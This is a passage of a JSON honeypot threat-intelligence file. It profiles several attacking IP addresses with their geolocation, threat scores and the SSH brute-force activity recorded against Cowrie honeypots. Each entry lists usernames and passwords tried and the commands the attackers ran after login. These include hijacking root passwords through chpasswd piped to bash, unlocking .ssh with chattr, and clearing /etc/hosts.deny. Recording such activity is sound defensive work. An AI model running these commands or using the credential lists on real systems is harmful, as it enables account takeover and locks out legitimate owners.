        "ubuntu",
        "aida",
        "cfguser",
        "claude",
        "db_user",
        "ftp-user",
        "git",
        "luz",
        "magento_user",
        "moon",
        "onkar",
        "plexuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "!Q@W#E4r5t6y",
        "121212",
        "1q@",
        "7777",
        "Claude30!",
        "Dq@123456",
        "Oracle24",
        "Postgres!123",
        "Postgres24!",
        "Qazwsx123123..",
        "Qazwsx12345678@@",
        "Qazwsx321.",
        "Qazwsx654321$",
        "Qwerty2026",
        "Root123456789@",
        "aaQQ112233"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"config\\nU6NG2tL6qsY1\\nU6NG2tL6qsY1\\n\"|passwd",
        "echo \"deploy123456789\\nHpqT2NJz14wg\\nHpqT2NJz14wg\\n\"|passwd",
        "echo \"devops@2025\\n7P6jyoaxXGI1\\n7P6jyoaxXGI1\\n\"|passwd",
        "echo \"root:LDDVMjnR24bO\"|chpasswd|bash",
        "echo -e \"config\\nU6NG2tL6qsY1\\nU6NG2tL6qsY1\"|passwd|bash",
        "echo -e \"deploy123456789\\nHpqT2NJz14wg\\nHpqT2NJz14wg\"|passwd|bash",
        "echo -e \"devops@2025\\n7P6jyoaxXGI1\\n7P6jyoaxXGI1\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 658,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T04:03:50.211000+00:00",
        "last_seen_30d": "2026-04-14T00:18:46.816000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 525,
        "Suricata": 133
      }
    },
    "185.239.84.249": {
      "attack_count": 519,
      "first_seen": "2026-04-07T21:20:38.189Z",
      "last_seen": "2026-04-18T01:23:37.018Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "steam",
        "chen",
        "odoo",
        "test",
        "user",
        "claude",
        "dmdba",
        "gaurav",
        "minecraft",
        "oracle",
        "sammy",
        "stud1",
        "user1",
        "wg"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!QAZ2wsx3edc",
        "!QAZ@WSX#EDC",
        "10202540",
        "1111",
        "123!@#Qwe",
        "123qweASD",
        "147258",
        "1qaz@WSX@@",
        "A1234567891011",
        "Abc!@#456",
        "Cacat123",
        "Claude!2025",
        "P@ssw0rdP@ssw0rd",
        "QA2ws3ed#$",
        "QWERT123",
        "QwertQwert123456",
        "Qwerty112233"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"ftpuser19\\nGwgAyfXiQdYm\\nGwgAyfXiQdYm\\n\"|passwd",
        "echo \"odooodoo\\nRPZI9TPFjuu4\\nRPZI9TPFjuu4\\n\"|passwd",
        "echo \"root:ASdfj0fRkvuT\"|chpasswd|bash",
        "echo \"root:c3oySxS7tN4o\"|chpasswd|bash",
        "echo -e \"ftpuser19\\nGwgAyfXiQdYm\\nGwgAyfXiQdYm\"|passwd|bash",
        "echo -e \"odooodoo\\nRPZI9TPFjuu4\\nRPZI9TPFjuu4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 648,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T21:20:38.189000+00:00",
        "last_seen_30d": "2026-04-18T01:24:46.908000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 519,
        "Suricata": 129
      }
    },
    "67.205.178.44": {
      "attack_count": 498,
      "first_seen": "2026-04-02T23:34:41.370Z",
      "last_seen": "2026-04-17T04:03:57.877Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "teste",
        "dev",
        "ftpuser",
        "gabriel",
        "gm",
        "guest",
        "nasrin",
        "newuser",
        "postgres",
        "user1",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234566",
        "1234QWERASDFZXCV",
        "13082025",
        "1qaz!QAZ1qaz",
        "1qaz2wsxZXCV",
        "1qazxdr5!@#",
        "3edc#EDC",
        "456123asd",
        "9090opop",
        "@wsx2wsx",
        "AA123456+",
        "Dev123!",
        "Huawei@123456",
        "P@ssw0rd123!@#",
        "Pa$$w0rd12345",
        "Pa$$word1234",
        "Password2026!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"q1w2e3\\niSs7zNS3QQix\\niSs7zNS3QQix\\n\"|passwd",
        "echo \"root:HYFqIHEoy8oi\"|chpasswd|bash",
        "echo \"root:mSyWG512VtSh\"|chpasswd|bash",
        "echo \"root:v1aALWNkMORv\"|chpasswd|bash",
        "echo -e \"q1w2e3\\niSs7zNS3QQix\\niSs7zNS3QQix\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 87.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 657,
        "days_active_30d": 29,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T23:34:41.370000+00:00",
        "last_seen_30d": "2026-04-30T21:33:35.801000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 498,
        "Suricata": 142,
        "Honeytrap": 17
      }
    },
    "50.187.96.101": {
      "attack_count": 468,
      "first_seen": "2026-04-11T14:51:00.363Z",
      "last_seen": "2026-04-11T15:30:55.164Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "laura",
        "manager",
        "test",
        "ubuntu",
        "xw",
        "bayu",
        "dev",
        "gitlab-runner",
        "m1",
        "sammy",
        "support"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWE123",
        "000000",
        "1",
        "111",
        "123456",
        "13082025",
        "8888",
        "Qazwsx2025@123",
        "Sammy22!",
        "admin123",
        "bayu",
        "dev23!",
        "laura",
        "m1",
        "pass2025",
        "personal123",
        "qazwsx1234#",
        "qwaszx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n2Z7litg8TOiZ\\n2Z7litg8TOiZ\\n\"|passwd",
        "echo \"laura\\n2jlApil83beA\\n2jlApil83beA\\n\"|passwd",
        "echo \"root:DOtY9Mqg4nfy\"|chpasswd|bash",
        "echo \"root:rimqjXVUHVjN\"|chpasswd|bash",
        "echo \"xw\\nKKZpBsJe0k90\\nKKZpBsJe0k90\\n\"|passwd",
        "echo -e \"123456\\n2Z7litg8TOiZ\\n2Z7litg8TOiZ\"|passwd|bash",
        "echo -e \"laura\\n2jlApil83beA\\n2jlApil83beA\"|passwd|bash",
        "echo -e \"xw\\nKKZpBsJe0k90\\nKKZpBsJe0k90\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cambridge",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 545,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T14:51:00.363000+00:00",
        "last_seen_30d": "2026-04-11T15:31:55.682000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 468,
        "Suricata": 77
      }
    },
    "122.166.167.154": {
      "attack_count": 364,
      "first_seen": "2026-04-13T23:36:05.703Z",
      "last_seen": "2026-04-27T12:24:30.056Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "devops",
        "ubuntu",
        "claude",
        "db_user",
        "deploy",
        "odoo",
        "onkar",
        "test01"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123",
        "1q2w3e4r!@#$",
        "3245gs5662d34",
        "@wsx3edc",
        "Claude30!",
        "Dq@123456",
        "Odoo!",
        "Qazwsx6666!@",
        "Root01@123",
        "Root12..",
        "W3lc0m3",
        "a12345678z",
        "aaQQ112233",
        "abcd1234#",
        "boyun2024",
        "db_user",
        "devops@2025",
        "gz@edu$2025",
        "onkar123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"devops@2025\\njKtlwouP3rOW\\njKtlwouP3rOW\\n\"|passwd",
        "echo \"qwerty\\nf0cOy371mVFn\\nf0cOy371mVFn\\n\"|passwd",
        "echo \"root:8iim0VVLjcOX\"|chpasswd|bash",
        "echo \"root:jWXNQStw7Lia\"|chpasswd|bash",
        "echo -e \"devops@2025\\njKtlwouP3rOW\\njKtlwouP3rOW\"|passwd|bash",
        "echo -e \"qwerty\\nf0cOy371mVFn\\nf0cOy371mVFn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 432,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T23:36:05.703000+00:00",
        "last_seen_30d": "2026-04-27T12:25:32.500000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 364,
        "Suricata": 68
      }
    },
    "183.110.116.87": {
      "attack_count": 340,
      "first_seen": "2026-04-16T09:46:46.725Z",
      "last_seen": "2026-04-28T06:55:42.441Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "ubuntu",
        "345gs5662d34",
        "demouser",
        "deploy",
        "kamil",
        "ladmin",
        "n8n",
        "root/admin",
        "seekcy",
        "user1",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "#EDC2wsx1qaz",
        "123456.0",
        "123qazQAZ",
        "123qweASD!@#",
        "1k2k3k",
        "22222222",
        "3245gs5662d34",
        "333",
        "345gs5662d34",
        "Aa@123456",
        "Frappe19",
        "Joysuch@Locate2025",
        "N8n!",
        "P@Ssword123456",
        "Pass1234!",
        "QWE!@",
        "QWEqwe123!@#",
        "Qaz123!@",
        "a741852963"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "echo \"root:00rAVtVnHTg1\"|chpasswd|bash",
        "echo \"root:vtAADeaAR72H\"|chpasswd|bash",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 46.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.5,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 450,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T09:46:46.725000+00:00",
        "last_seen_30d": "2026-04-28T06:56:44.624000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 340,
        "Suricata": 110
      }
    },
    "103.115.41.16": {
      "attack_count": 331,
      "first_seen": "2026-04-10T16:44:02.776Z",
      "last_seen": "2026-04-10T17:29:59.816Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "odoo",
        "ubuntu",
        "claude",
        "ftpuser1",
        "git",
        "mftuser",
        "n8n",
        "oracle",
        "sysadm",
        "test_user",
        "testing"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123321",
        "1234",
        "12345",
        "345ert#$%ERT",
        "AAA123456789",
        "Aa102026",
        "Claude15",
        "Letmein@123456",
        "QWE1234567",
        "Root111!!",
        "Root11111111!@",
        "Root2020@@",
        "admin123",
        "mftuser",
        "mnbvcxz1",
        "n8n25",
        "omn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123321\\nIMkPWZiTdr9U\\nIMkPWZiTdr9U\\n\"|passwd",
        "echo \"root:iTdIzgB0un0F\"|chpasswd|bash",
        "echo \"steamcmd\\nOcG4lEqt8PPd\\nOcG4lEqt8PPd\\n\"|passwd",
        "echo -e \"123321\\nIMkPWZiTdr9U\\nIMkPWZiTdr9U\"|passwd|bash",
        "echo -e \"steamcmd\\nOcG4lEqt8PPd\\nOcG4lEqt8PPd\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.3,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 431,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T19:26:34.214000+00:00",
        "last_seen_30d": "2026-04-10T17:31:09.941000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 100
      }
    },
    "118.69.64.143": {
      "attack_count": 286,
      "first_seen": "2026-04-29T16:07:26.562Z",
      "last_seen": "2026-04-29T16:53:21.950Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "administrator",
        "bitnami",
        "developer",
        "ec2-user",
        "test1",
        "testuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123qwe!@",
        "1414",
        "1a2s3d4f5g6h7j",
        "1qaz2wsx123",
        "1qaz=[;.",
        "25802580",
        "ABCabc123456",
        "Asd123$%^",
        "P@55word",
        "Passw@rd123",
        "Password123!",
        "Qaz123321",
        "Qq@123456",
        "Qwerty11",
        "Server001",
        "aaaAAA123",
        "abc123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:gLVsFob3NQ1g\"|chpasswd|bash",
        "echo \"root:iYjRUyQZF2ti\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T16:07:26.562000+00:00",
        "last_seen_30d": "2026-04-29T16:54:29.587000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 75
      }
    },
    "164.92.198.18": {
      "attack_count": 261,
      "first_seen": "2026-04-07T21:19:59.546Z",
      "last_seen": "2026-04-07T21:56:59.039Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "steam",
        "user",
        "claude",
        "dmdba",
        "minecraft",
        "sammy",
        "test",
        "wg"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "!QAZ@WSX#EDC",
        "1111",
        "123!@#Qwe",
        "123456",
        "123qweASD",
        "Abc!@#456",
        "Cacat123",
        "Claude!2025",
        "P@ssw0rdP@ssw0rd",
        "QwertQwert123456",
        "Qwerty112233",
        "Root11111!!",
        "Steam2026!",
        "indonesia",
        "kontol",
        "password12$",
        "qazwsx12345!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:CfzZHwT4RYyx\"|chpasswd|bash",
        "echo \"root:SgHl5Fv8oMST\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T21:19:59.546000+00:00",
        "last_seen_30d": "2026-04-07T21:58:00.855000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 65
      }
    },
    "89.190.156.117": {
      "attack_count": 231,
      "first_seen": "2026-04-02T00:01:13.338Z",
      "last_seen": "2026-04-02T01:07:45.589Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Ab+123",
        "Abc@2024",
        "Abcd6789",
        "Bcdef12345",
        "Huawei6789",
        "Ii1234!",
        "Jkl1234",
        "Login1",
        "Password0123",
        "QQ123!@#",
        "QQ@12345",
        "Qq2026",
        "Qwertyadmin123",
        "Root888",
        "Rootpassword",
        "abc@2023",
        "huawei5678",
        "p4ssword2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:NcBc2VlKTSqk\"|chpasswd|bash",
        "echo \"root:m4Dq4VsXis4d\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T00:01:13.338000+00:00",
        "last_seen_30d": "2026-04-02T01:08:46.035000+00:00",
